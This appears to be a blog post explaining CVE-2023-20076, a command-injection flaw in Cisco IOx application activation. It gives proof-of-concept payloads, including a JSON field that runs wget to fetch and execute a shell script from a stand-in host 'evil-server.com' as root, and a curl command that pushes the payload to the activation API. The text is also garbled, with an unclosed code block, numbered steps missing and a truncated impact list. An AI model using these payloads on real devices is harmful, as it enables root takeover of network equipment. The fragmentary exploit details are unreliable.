In 2023, a serious vulnerability was discovered in the Cisco IOx application hosting environment. This bug, cataloged as CVE-2023-20076, affects the way Cisco IOx sanitizes parameters during application activation. If exploited, it lets remote, authenticated attackers run arbitrary commands as _root_—the highest level of access—on the underlying system.

In this post, we’ll break down how the vulnerability works, provide easy-to-read code snippets, explore potential exploit scenarios, and share useful resources to keep your system safe. This is an exclusive deep dive made simple for all readers.

What is Cisco IOx?

Cisco IOx is a platform for hosting applications on Cisco edge devices (like routers or switches). It lets you deploy your apps alongside network functions, enabling powerful edge computing.

CVE-2023-20076 Overview

Vulnerability: _Incomplete parameter sanitization in Cisco IOx during application activation_

Affected: Cisco devices running the vulnerable IOx application hosting environment

Cisco’s Advisory:  
Original Security Advisory

Vulnerability Details

The bug exists due to incomplete sanitization of activation parameters. When an app is deployed and activated, IOx interprets parameters in an “activation payload file” provided by the user.

If the file contains unsanitized commands or shell metacharacters, those may be executed by the underlying operating system—as root.

Exploiting CVE-2023-20076 (How Attackers Might Abuse This)

Below is a simplified exploit scenario (for educational purposes only—never attack systems you do not own or have permission to test!).

`json

{

"activationParams": {

"image": "legit_app_image; id > /iox/local/appdata/attacker.txt"

}

}

Upload and activate the app using IOx API or web interface.

3. Payload executes as root, creating a file /iox/local/appdata/attacker.txt containing the output of the id command (proof of root execution).

Proof-of-Concept (PoC) Example

Here’s a simple illustration using Python and cURL. (Assume attacker has valid credentials.)

Step 1: Create a Malicious Activation Payload

{
  "activationParams": {
    "config_file": ";wget http://evil-server.com/shell.sh -O /tmp/shell.sh; chmod +x /tmp/shell.sh; /tmp/shell.sh"
  }
}

Step 2: Upload and Activate via API

curl -u admin:password \
    -H "Content-Type: application/json" \
    -d @malicious_payload.json \
    https://cisco-iox-device/api/v2/apps/activate

Now, the device will download and run the attacker’s shell script as root.

Real-World Attack Impact

- Install persistent malware/rootkits

How to Protect Your Devices

- Update your Cisco IOx environment: Cisco has released security patches fixing this vulnerability.

Key References

- Cisco Security Advisory for CVE-2023-20076
- Cisco IOx Documentation
- National Vulnerability Database: CVE-2023-20076

Conclusion

_CVE-2023-20076_ is a critical bug, and as this post detailed, it can lead to total compromise of your Cisco network device’s operating system. Patch now, restrict access, and always watch for strange app activations. Stay ahead of attackers by keeping your systems secure and informed.

Timeline

Published on: 02/12/2023 04:15:00 UTC
Last modified on: 04/05/2023 16:15:00 UTC